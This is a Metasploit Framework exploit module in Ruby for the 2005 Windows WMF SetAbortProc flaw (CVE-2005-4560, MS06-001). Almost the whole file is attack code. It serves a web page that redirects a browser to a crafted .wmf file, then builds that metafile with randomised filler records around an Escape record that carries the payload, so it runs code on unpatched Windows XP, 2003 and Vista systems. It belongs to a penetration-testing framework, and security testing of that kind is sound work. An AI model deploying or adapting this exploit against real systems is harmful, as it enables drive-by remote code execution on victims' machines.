root / modules / exploits / windows / browser / ms06_001_wmf_setabortproc.rb @ master
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote |
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Rank = GreatRanking |
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#
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# This module acts as an HTTP server
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#
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include Msf::Exploit::Remote::HttpServer::HTML |
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def initialize(info = {}) |
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super(update_info(info,
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'Name' => 'Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution', |
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'Description' => %q{ |
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This module exploits a vulnerability in the GDI library included with |
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Windows XP and 2003. This vulnerability uses the 'Escape' metafile function |
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to execute arbitrary code through the SetAbortProc procedure. This module |
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generates a random WMF record stream for each request. |
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},
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'License' => MSF_LICENSE, |
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'Author' =>
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[ |
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'hdm',
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'san <san[at]xfocus.org>',
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'O600KO78RUS@unknown.ru',
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], |
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'Version' => '$Revision$', |
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'References' =>
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[ |
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['CVE', '2005-4560'], |
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['OSVDB', '21987'], |
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['MSB', 'MS06-001'], |
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['BID', '16074'], |
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['URL', 'http://www.microsoft.com/technet/security/advisory/912840.mspx'], |
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['URL', 'http://wvware.sourceforge.net/caolan/ora-wmf.html'], |
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['URL', 'http://www.geocad.ru/new/site/Formats/Graphics/wmf/wmf.txt'], |
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], |
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread', |
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}, |
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'Payload' =>
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{
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'Space' => 1000 + (rand(256).to_i * 4), |
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'BadChars' => "\x00", |
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'Compat' =>
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{
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'ConnectionType' => '-find', |
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}, |
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'StackAdjustment' => -3500, |
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}, |
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'Platform' => 'win', |
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'Targets' =>
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[ |
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[ 'Windows XP/2003/Vista Automatic', { }],
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], |
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'DisclosureDate' => 'Dec 27 2005', |
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'DefaultTarget' => 0)) |
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end
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def on_request_uri(cli, request) |
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ext = 'wmf'
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if (not request.uri.match(/\.wmf$/i)) |
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if ("/" == get_resource[-1,1]) |
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wmf_uri = get_resource[0, get_resource.length - 1] |
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else
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wmf_uri = get_resource |
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end
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wmf_uri << "/" + rand_text_alphanumeric(rand(80)+16) + "." + ext |
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html = "<html><meta http-equiv='refresh' content='0; " +
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"URL=#{wmf_uri}'><body>One second please...</body></html>"
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send_response_html(cli, html) |
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return
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end
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil) |
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print_status("Sending #{self.name}")
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# Transmit the compressed response to the client
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send_response(cli, generate_metafile(p), { 'Content-Type' => 'text/plain' })
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# Handle the payload
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handler(cli) |
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end
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def generate_metafile(payload) |
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# Minimal length values before and after the Escape record
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pre_mlen = 1440 + rand(8192) |
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suf_mlen = 128 + rand(8192) |
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# Track the number of generated records
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fill = 0
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# The prefix and suffix buffers
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pre_buff = ''
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suf_buff = ''
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# Generate the prefix
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while (pre_buff.length < pre_mlen)
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pre_buff << generate_record() |
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fill += 1
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end
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# Generate the suffix
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while (suf_buff.length < suf_mlen)
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suf_buff << generate_record() |
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fill += 1
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end
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clen = 18 + 8 + 6 + payload.encoded.length + pre_buff.length + suf_buff.length |
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data = |
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#
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# WindowsMetaHeader
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#
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[ |
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# WORD FileType; /* Type of metafile (1=memory, 2=disk) */
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rand(2)+1, |
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# WORD HeaderSize; /* Size of header in WORDS (always 9) */
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9,
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# WORD Version; /* Version of Microsoft Windows used */
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( rand(2).to_i == 1 ? 0x0300 : 0x0100 ), |
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# DWORD FileSize; /* Total size of the metafile in WORDs */
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clen/2,
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# WORD NumOfObjects; /* Number of objects in the file */
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rand(0xffff),
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# DWORD MaxRecordSize; /* The size of largest record in WORDs */
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rand(0xffffffff),
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# WORD NumOfParams; /* Not Used (always 0) */
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rand(0xffff),
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].pack('vvvVvVv') +
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#
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# Filler data
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#
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pre_buff + |
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#
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# StandardMetaRecord - Escape()
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#
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[ |
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# DWORD Size; /* Total size of the record in WORDs */
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4,
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# WORD Function; /* Function number (defined in WINDOWS.H) */
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(rand(256).to_i << 8) + 0x26, |
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# WORD Parameters[]; /* Parameter values passed to function */
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9,
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].pack('Vvv') + payload.encoded +
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#
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# Filler data
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#
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suf_buff + |
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#
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# Complete the stream
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#
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[3, 0].pack('Vv') + |
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#
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# Some extra fun padding
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#
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rand_text(rand(16384)+1024) |
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return data
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end
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def generate_record |
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type = rand(3)
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case type
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when 0 |
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# CreatePenIndirect
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return [8, 0x02fa].pack('Vv') + rand_text(10) |
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when 1 |
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# CreateBrushIndirect
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return [7, 0x02fc].pack('Vv') + rand_text(8) |
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else
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# Rectangle
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return [7, 0x041b].pack('Vv') + rand_text(8) |
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end
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end
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end
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